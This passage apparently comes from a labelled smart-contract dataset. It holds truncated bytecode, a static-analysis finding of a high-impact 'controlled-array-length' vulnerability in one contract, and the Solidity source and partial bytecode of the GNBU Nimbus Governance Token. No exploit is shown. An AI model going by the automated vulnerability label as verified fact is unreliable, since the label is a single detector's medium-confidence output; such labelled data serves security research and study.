0908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905560010161065b565b5050565b6060806060600380548060200260200160405190810160405280929190818152602001828054801561087057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610852575b50505050509050606081516040519080825280602002602001820160405280156108a4578160200160208202803883390190505b508051909150600090869082906108c290600163ffffffff61178e16565b905060005b8581815181106108d357fe5b60200260200101516001600160a01b0316635c975abb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561091357600080fd5b505afa158015610927573d6000803e3d6000fd5b505050506040513d602081101561093d57600080fd5b505115610951576060955060609450610a25565b8181141561098657610969838563ffffffff61178e16565b85828151811061097557fe5b602002602001018181525050610a25565b620f42406109d56005600089858151811061099d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054856117de90919063ffffffff16565b816109dc57fe5b048582815181106109e957fe5b602002602001018181525050610a1b858281518110610a0457fe5b60200260200101518561184190919063ffffffff16565b93506001016108c7565b50939550919350505050915091565b620f424081565b610a51336000356001600160e01b0319166116a5565b610a99576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6001600160a01b038116610ade5760405162461bcd60e51b81526004018080602001828103825260438152602001806120166043913960600191505060405180910390fd5b6004546001600160a01b03908116908216811415610b2d5760405162461bcd60e51b815260040180806020018281038252603d815260200180611e04603d913960400191505060405180910390fd5b816003600081548110610b3c57fe5b600091825260208083209190910180546001600160a01b03199081166001600160a01b0395861617909155938316808352600582526040808420805497909516808552818520979097556006909252818320805460ff1990811660011790915590835292829055902080549091169055600480549091169091179055565b60608060606003805480602002602001604051908101604052809291908181526020018280548015610c1557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610bf7575b5050505050905060608151604051908082528060200260200182016040528015610c49578160200160208202803883390190505b50905060005b8151811015610cb05760056000848381518110610c6857fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110610c9d57fe5b6020908102919091010152600101610c4f565b5090925090509091565b60038181548110610cc757fe5b6000918252602090912001546001600160a01b0316905081565b60608060606003805480602002602001604051908101604052809291908181526020018280548015610d3c57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d1e575b50505050509050600281511115610d5d57610d5d8160018084510388611890565b60608151604051908082528060200260200182016040528015610d8a578160200160208202803883390190505b50805190915060009086908290610da890600163ffffffff61178e16565b905060005b8551811015610f6157858181518110610dc257fe5b60200260200101516001600160a01b0316635c975abb6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0257600080fd5b505afa158015610e16573d6000803e3d6000fd5b505050506040513d6020811015610e2c57600080fd5b505115610e40576060955060609450610f61565b82610e4a57610f59565b81811415610e705782858281518110610e5f57fe5b602002602001018181525050610f61565b858181518110610e7c57fe5b60200260200101516001600160a01b031663d34c02b48b6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b158015610edb57600080fd5b505af1158015610eef573d6000803e3d6000fd5b505050506040513d6020811015610f0557600080fd5b50519350828411610f165783610f18565b825b858281518110610f2457fe5b602002602001018181525050610f56858281518110610f3f57fe5b60200260200101518461178e90919063ffffffff16565b92505b600101610dad565b5093989297509195505050505050565b60066020526000908152604090205460ff1681565b6002546001600160a01b03163314610fcf5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ed96028913960400191505060405180910390fd5b6002546001546040516001600160a01b0392831692909116907f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a90600090a360028054600180546001600160a01b03199081166001600160a01b03841617909155169055565b61103e33611b4c565b611083576040805162461bcd60e51b8152602060048201526011602482015270323996b0baba3416b737b716b7bbb732b960791b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b03838116919091178083556040519116917f1abebea81bfa2637f28358c371278fb15ede7ea8dd28d2e03b112ff6d936ada491a250565b6004546001600160a01b031681565b6110f4336000356001600160e01b0319166116a5565b61113c576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6060600380548060200260200160405190810160405280929190818152602001828054801561119457602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611176575b50939450600093505050505b815181101561122857600560008383815181106111b957fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060009055600660008383815181106111f557fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191690556001016111a0565b50600480546001600160a01b031916905561124560036000611dc1565b6112b285858080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604080516020808902828101820190935288825290935088925087918291850190849080828437600092019190915250611b6092505050565b5050505050565b6001546001600160a01b031681565b6112d133611b4c565b611316576040805162461bcd60e51b8152602060048201526011602482015270323996b0baba3416b737b716b7bbb732b960791b604482015290519081900360640190fd5b600180546001600160a01b031916905560405160009033907f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a908390a3565b6000546001600160a01b031681565b6002546001600160a01b031681565b61137c33611b4c565b6113c1576040805162461bcd60e51b8152602060048201526011602482015270323996b0baba3416b737b716b7bbb732b960791b604482015290519081900360640190fd5b6001546001600160a01b038281169116141561140e5760405162461bcd60e51b81526004018080602001828103825260228152602001806120596022913960400191505060405180910390fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b611446336000356001600160e01b0319166116a5565b61148e576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b805182511480156114a157508051600354145b6114dc5760405162461bcd60e51b8152600401808060200182810382526047815260200180611e6c6047913960600191505060405180910390fd5b6000805b825181101561165e5760005b818110156115735784818151811061150057fe5b60200260200101516001600160a01b031685838151811061151d57fe5b60200260200101516001600160a01b0316141561156b5760405162461bcd60e51b815260040180806020018281038252603e815260200180611f01603e913960400191505060405180910390fd5b6001016114ec565b506006600085838151811061158457fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff166115e65760405162461bcd60e51b815260040180806020018281038252603e815260200180611f89603e913960400191505060405180910390fd5b61160c8382815181106115f557fe5b60200260200101518361184190919063ffffffff16565b915082818151811061161a57fe5b60200260200101516005600086848151811061163257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020556001016114e0565b50620f424081146116a05760405162461bcd60e51b8152600401808060200182810382526026815260200180611eb36026913960400191505060405180910390fd5b505050565b60006001600160a01b0383163014156116c057506001611788565b6001546001600160a01b03848116911614156116de57506001611788565b6000546001600160a01b03166116f657506000611788565b6000546040805163b700961360e01b81526001600160a01b0386811660048301523060248301526001600160e01b0319861660448301529151919092169163b7009613916064808301926020929190829003018186803b15801561175957600080fd5b505afa15801561176d573d6000803e3d6000fd5b505050506040513d602081101561178357600080fd5b505190505b92915050565b80820382811115611788576040805162461bcd60e51b815260206004820152601560248201527464732d6d6174682d7375622d756e646572666c6f7760581b604482015290519081900360640190fd5b60008115806117f9575050808202828282816117f657fe5b04145b611788576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6d756c2d6f766572666c6f7760601b604482015290519081900360640190fd5b80820182811015611788576040805162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b604482015290519081900360640190fd5b8282808214156118a1575050611b46565b6000866002878703058701815181106118b657fe5b60200260200101516001600160a01b031663d34c02b4856040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b15801561191557600080fd5b505af1158015611929573d6000803e3d6000fd5b505050506040513d602081101561193f57600080fd5b505190505b818313611b1a575b8087848151811061195957fe5b60200260200101516001600160a01b031663d34c02b4866040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b1580156119b857600080fd5b505af11580156119cc573d6000803e3d6000fd5b505050506040513d60208110156119e257600080fd5b505111156119f55760019092019161194c565b868281518110611a0157fe5b60200260200101516001600160a01b031663d34c02b4856040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b158015611a6057600080fd5b505af1158015611a74573d6000803e3d6000fd5b505050506040513d6020811015611a8a57600080fd5b5051811115611a9f57600019909101906119f5565b818313611b1557868281518110611ab257fe5b6020026020010151878481518110611ac657fe5b6020026020010151888581518110611ada57fe5b60200260200101898581518110611aed57fe5b6001600160a01b03938416602091820292909201015291169052600190920191600019909101905b611944565b81861215611b2e57611b2e87878487611890565b84831215611b4257611b4287848787611890565b5050505b50505050565b6001546001600160a01b0390811691161490565b80518251148015611b72575060008251115b611bad5760405162461bcd60e51b815260040180806020018281038252604a815260200180611f3f604a913960600191505060405180910390fd5b81600081518110611bba57fe5b6020908102919091010151600480546001600160a01b0319166001600160a01b039092169190911790556000805b835181101561165e5760006001600160a01b0316848281518110611c0857fe5b60200260200101516001600160a01b03161415611c565760405162461bcd60e51b8152600401808060200182810382526024815260200180611ff26024913960400191505060405180910390fd5b60066000858381518110611c6657fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615611cc95760405162461bcd60e51b815260040180806020018281038252602b815260200180611fc7602b913960400191505060405180910390fd5b611cd88382815181106115f557fe5b91506003848281518110611ce857fe5b60209081029190910181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b039092169190911790558251839082908110611d3157fe5b602002602001015160056000868481518110611d4957fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160066000868481518110611d8757fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611be8565b5080546000825590600052602060002090810190611ddf9190611de2565b50565b611e0091905b80821115611dfc5760008155600101611de8565b5090565b9056fe75706461746544656661756c7448616e646c65723a204f6c6420616e64206e657720616464726573732063616e6e6f74206265207468652073616d652e61646448616e646c6572733a2068616e646c6572206164647265737320616c72656164792065786973747375706461746550726f706f7274696f6e733a2068616e646c65727320262070726f706f7274696f6e73206d757374206d61746368207468652063757272656e74206c656e6774687468652073756d206f662070726f706f7274696f6e73206d75737420626520313030303030304163636570744f776e6572736869703a206f6e6c79206e6577206f776e657220646f20746869732e75706461746550726f706f7274696f6e733a20696e7075742068616e646c657220636f6e74726163742061646472657373206973206475706c696361746573657448616e646c6572733a2068616e646c65727320262070726f706f7274696f6e732073686f756c64206e6f7420686176652030206f7220646966666572656e74206c656e6774687375706461746550726f706f7274696f6e733a207468652068616e646c657220636f6e7472616374206164647265737320646f6573206e6f7420657869737473657448616e646c6572733a2068616e646c6572206164647265737320616c72656164792065786973747373657448616e646c6572733a2068616e646c6572206164647265737320696e76616c696475706461746544656661756c7448616e646c65723a204e65772064656661756c7448616e646c65722073686f756c64206e6f74206265207a65726f20616464726573735472616e736665724f776e6572736869703a207468652073616d65206f776e65722e61646448616e646c6572733a2068616e646c6572206164647265737320696e76616c6964a265627a7a7231582091103d7e9a55b54b57b0c90b5a6557ef63eb0ebfd75becac5ea926e36d3024a464736f6c634300050c0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 3,310 |
0x28fd5f6C915c7438B8Cf9E2f682883F79875520C
|
/**
*Submitted for verification at Etherscan.io on 2021-03-10
*/
pragma solidity =0.8.0;
// ----------------------------------------------------------------------------
// GNBU token main contract (2021)
//
// Symbol : GNBU
// Name : Nimbus Governance Token
// Total supply : 100.000.000 (burnable)
// Decimals : 18
// ----------------------------------------------------------------------------
// SPDX-License-Identifier: MIT
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
function transferOwnership(address transferOwner) public onlyOwner {
require(transferOwner != newOwner);
newOwner = transferOwner;
}
function acceptOwnership() virtual public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract GNBU is Ownable, Pausable {
string public constant name = "Nimbus Governance Token";
string public constant symbol = "GNBU";
uint8 public constant decimals = 18;
uint96 public totalSupply = 100_000_000e18; // 100 million GNBU
mapping (address => mapping (address => uint96)) internal allowances;
mapping (address => uint96) private _unfrozenBalances;
mapping (address => uint32) private _vestingNonces;
mapping (address => mapping (uint32 => uint96)) private _vestingAmounts;
mapping (address => mapping (uint32 => uint96)) private _unvestedAmounts;
mapping (address => mapping (uint32 => uint)) private _vestingReleaseStartDates;
mapping (address => bool) public vesters;
uint96 private vestingFirstPeriod = 60 days;
uint96 private vestingSecondPeriod = 152 days;
address[] public supportUnits;
uint public supportUnitsCnt;
mapping (address => address) public delegates;
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Unvest(address user, uint amount);
constructor() {
_unfrozenBalances[owner] = uint96(totalSupply);
emit Transfer(address(0), owner, totalSupply);
}
function freeCirculation() external view returns (uint) {
uint96 systemAmount = _unfrozenBalances[owner];
for (uint i; i < supportUnits.length; i++) {
systemAmount = add96(systemAmount, _unfrozenBalances[supportUnits[i]], "GNBU::freeCirculation: adding overflow");
}
return sub96(totalSupply, systemAmount, "GNBU::freeCirculation: amount exceed totalSupply");
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external whenNotPaused returns (bool) {
uint96 amount;
if (rawAmount == uint(2 ** 256 - 1)) {
amount = uint96(2 ** 96 - 1);
} else {
amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external whenNotPaused {
uint96 amount;
if (rawAmount == uint(2 ** 256 - 1)) {
amount = uint96(2 ** 96 - 1);
} else {
amount = safe96(rawAmount, "GNBU::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GNBU::permit: invalid signature");
require(signatory == owner, "GNBU::permit: unauthorized");
require(block.timestamp <= deadline, "GNBU::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) public view returns (uint) {
uint96 amount = _unfrozenBalances[account];
if (_vestingNonces[account] == 0) return amount;
for (uint32 i = 1; i <= _vestingNonces[account]; i++) {
uint96 unvested = sub96(_vestingAmounts[account][i], _unvestedAmounts[account][i], "GNBU::balanceOf: unvested exceed vested amount");
amount = add96(amount, unvested, "GNBU::balanceOf: overflow");
}
return amount;
}
function availableForUnvesting(address user) external view returns (uint unvestAmount) {
if (_vestingNonces[user] == 0) return 0;
for (uint32 i = 1; i <= _vestingNonces[user]; i++) {
if (_vestingAmounts[user][i] == _unvestedAmounts[user][i]) continue;
if (_vestingReleaseStartDates[user][i] > block.timestamp) break;
uint toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[user][i]), (_vestingAmounts[user][i])) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[user][i]) {
toUnvest = _vestingAmounts[user][i];
}
toUnvest -= _unvestedAmounts[user][i];
unvestAmount += toUnvest;
}
}
function availableForTransfer(address account) external view returns (uint) {
return _unfrozenBalances[account];
}
function vestingInfo(address user, uint32 nonce) external view returns (uint vestingAmount, uint unvestedAmount, uint vestingReleaseStartDate) {
vestingAmount = _vestingAmounts[user][nonce];
unvestedAmount = _unvestedAmounts[user][nonce];
vestingReleaseStartDate = _vestingReleaseStartDates[user][nonce];
}
function vestingNonces(address user) external view returns (uint lastNonce) {
return _vestingNonces[user];
}
function transfer(address dst, uint rawAmount) external whenNotPaused returns (bool) {
uint96 amount = safe96(rawAmount, "GNBU::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external whenNotPaused returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(2 ** 96 - 1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "GNBU::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public whenNotPaused {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public whenNotPaused {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GNBU::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "GNBU::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "GNBU::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function unvest() external whenNotPaused returns (uint96 unvested) {
require (_vestingNonces[msg.sender] > 0, "GNBU::unvest:No vested amount");
for (uint32 i = 1; i <= _vestingNonces[msg.sender]; i++) {
if (_vestingAmounts[msg.sender][i] == _unvestedAmounts[msg.sender][i]) continue;
if (_vestingReleaseStartDates[msg.sender][i] > block.timestamp) break;
uint96 toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[msg.sender][i]), _vestingAmounts[msg.sender][i]) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[msg.sender][i]) {
toUnvest = _vestingAmounts[msg.sender][i];
}
uint96 totalUnvestedForNonce = toUnvest;
toUnvest = sub96(toUnvest, _unvestedAmounts[msg.sender][i], "GNBU::unvest: already unvested amount exceeds toUnvest");
unvested = add96(unvested, toUnvest, "GNBU::unvest: adding overflow");
_unvestedAmounts[msg.sender][i] = totalUnvestedForNonce;
}
_unfrozenBalances[msg.sender] = add96(_unfrozenBalances[msg.sender], unvested, "GNBU::unvest: adding overflow");
emit Unvest(msg.sender, unvested);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "GNBU::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = _unfrozenBalances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "GNBU::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "GNBU::_transferTokens: cannot transfer to the zero address");
_unfrozenBalances[src] = sub96(_unfrozenBalances[src], amount, "GNBU::_transferTokens: transfer amount exceeds balance");
_unfrozenBalances[dst] = add96(_unfrozenBalances[dst], amount, "GNBU::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "GNBU::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "GNBU::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "GNBU::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function _vest(address user, uint96 amount) private {
uint32 nonce = ++_vestingNonces[user];
_vestingAmounts[user][nonce] = amount;
_vestingReleaseStartDates[user][nonce] = block.timestamp + vestingFirstPeriod;
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::_vest: exceeds owner balance");
emit Transfer(owner, user, amount);
}
function burnTokens(uint rawAmount) public onlyOwner returns (bool success) {
uint96 amount = safe96(rawAmount, "GNBU::burnTokens: amount exceeds 96 bits");
require(amount <= _unfrozenBalances[owner]);
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::burnTokens: transfer amount exceeds balance");
totalSupply = sub96(totalSupply, amount, "GNBU::burnTokens: transfer amount exceeds total supply");
emit Transfer(owner, address(0), amount);
return true;
}
function vest(address user, uint rawAmount) external {
require (vesters[msg.sender], "GNBU::vest: not vester");
uint96 amount = safe96(rawAmount, "GNBU::vest: amount exceeds 96 bits");
_vest(user, amount);
}
function multisend(address[] memory to, uint[] memory values) public onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
uint96 _sum = safe96(sum, "GNBU::transfer: amount exceeds 96 bits");
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::_transferTokens: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
_unfrozenBalances[to[i]] = add96(_unfrozenBalances[to[i]], uint96(values[i]), "GNBU::_transferTokens: transfer amount exceeds balance");
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function multivest(address[] memory to, uint[] memory values) external onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
uint96 _sum = safe96(sum, "GNBU::multivest: amount exceeds 96 bits");
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::multivest: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
uint32 nonce = ++_vestingNonces[to[i]];
_vestingAmounts[to[i]][nonce] = uint96(values[i]);
_vestingReleaseStartDates[to[i]][nonce] = block.timestamp + vestingFirstPeriod;
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return IERC20(tokenAddress).transfer(owner, tokens);
}
function updateVesters(address vester, bool isActive) external onlyOwner {
vesters[vester] = isActive;
}
function acceptOwnership() public override {
require(msg.sender == newOwner);
uint96 amount = _unfrozenBalances[owner];
_transferTokens(owner, newOwner, amount);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function updateSupportUnitAdd(address newSupportUnit) external onlyOwner {
for (uint i; i < supportUnits.length; i++) {
require (supportUnits[i] != newSupportUnit, "GNBU::updateSupportUnitAdd: support unit exists");
}
supportUnits.push(newSupportUnit);
supportUnitsCnt++;
}
function updateSupportUnitRemove(uint supportUnitIndex) external onlyOwner {
supportUnits[supportUnitIndex] = supportUnits[supportUnits.length - 1];
supportUnits.pop();
supportUnitsCnt--;
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
return block.chainid;
}
function mul96(uint96 a, uint96 b) internal pure returns (uint96) {
if (a == 0) {
return 0;
}
uint96 c = a * b;
require(c / a == b, "GNBU:mul96: multiplication overflow");
return c;
}
function mul96(uint256 a, uint96 b) internal pure returns (uint96) {
uint96 _a = safe96(a, "GNBU:mul96: amount exceeds uint96");
if (_a == 0) {
return 0;
}
uint96 c = _a * b;
require(c / _a == b, "GNBU:mul96: multiplication overflow");
return c;
}
}
|
0x608060405234801561001057600080fd5b50600436106102ff5760003560e01c80638456cb591161019c578063c3cda520116100ee578063dc39d06d11610097578063f1127ed811610071578063f1127ed8146105e7578063f1b5c88e14610608578063f2fde38b1461061b576102ff565b8063dc39d06d146105b9578063dd62ed3e146105cc578063e7a324dc146105df576102ff565b8063d505accf116100c8578063d505accf14610571578063d84a139d14610584578063dc25ca51146105a6576102ff565b8063c3cda52014610543578063c3ef298714610556578063d4ee1d9014610569576102ff565b8063a9059cbb11610150578063b24d53101161012a578063b24d53101461050a578063b4b5ea571461051d578063bdfb5b9014610530576102ff565b8063a9059cbb146104dc578063aad41a41146104ef578063aff00e7514610502576102ff565b806395d89b411161018157806395d89b41146104b9578063985d5449146104c1578063a6237aa2146104c9576102ff565b80638456cb59146104a95780638da5cb5b146104b1576102ff565b80633f4ba83a116102555780636fcfff4511610209578063782d6fe1116101e3578063782d6fe11461047b57806379ba50971461048e5780637ecebe0014610496576102ff565b80636fcfff451461043557806370a082311461045557806371ad963414610468576102ff565b80635c19a95c1161023a5780635c19a95c146104075780635c975abb1461041a5780636d1b229d14610422576102ff565b80633f4ba83a146103df578063587cde1e146103e7576102ff565b806320606b70116102b75780632797c6c8116102915780632797c6c8146103ad57806330adf81f146103c2578063313ce567146103ca576102ff565b806320606b701461037f57806323b872dd1461038757806324d6239e1461039a576102ff565b80631501ea1c116102e85780631501ea1c1461034257806318160ddd146103555780631dcd5c5d1461036a576102ff565b806306fdde0314610304578063095ea7b314610322575b600080fd5b61030c61062e565b60405161031991906147c9565b60405180910390f35b61033561033036600461449e565b610667565b60405161031991906146f4565b610335610350366004614378565b6107a2565b61035d6107b7565b6040516103199190614cc3565b6103726107cb565b60405161031991906146ff565b6103726107d1565b6103356103953660046143c4565b6107f5565b6103726103a8366004614378565b6109c0565b6103c06103bb36600461449e565b6109fa565b005b610372610a81565b6103d2610aa5565b6040516103199190614cb5565b6103c0610aaa565b6103fa6103f5366004614378565b610b75565b6040516103199190614679565b6103c0610415366004614378565b610b9d565b610335610bd2565b61033561043036600461462b565b610bf3565b610448610443366004614378565b610e33565b6040516103199190614c80565b610372610463366004614378565b610e4b565b610372610476366004614378565b610fd5565b61035d61048936600461449e565b611003565b6103c06112c4565b6103726104a4366004614378565b6113ca565b6103c06113dc565b6103fa6114bf565b61030c6114db565b61035d611514565b6103c06104d7366004614468565b611921565b6103356104ea36600461449e565b6119c8565b6103726104fd366004614551565b611a2e565b610372611ec3565b6103c061051836600461462b565b612003565b61035d61052b366004614378565b6121ec565b6103fa61053e36600461462b565b61228a565b6103c06105513660046144c7565b6122c1565b610372610564366004614551565b612591565b6103fa612ad7565b6103c061057f36600461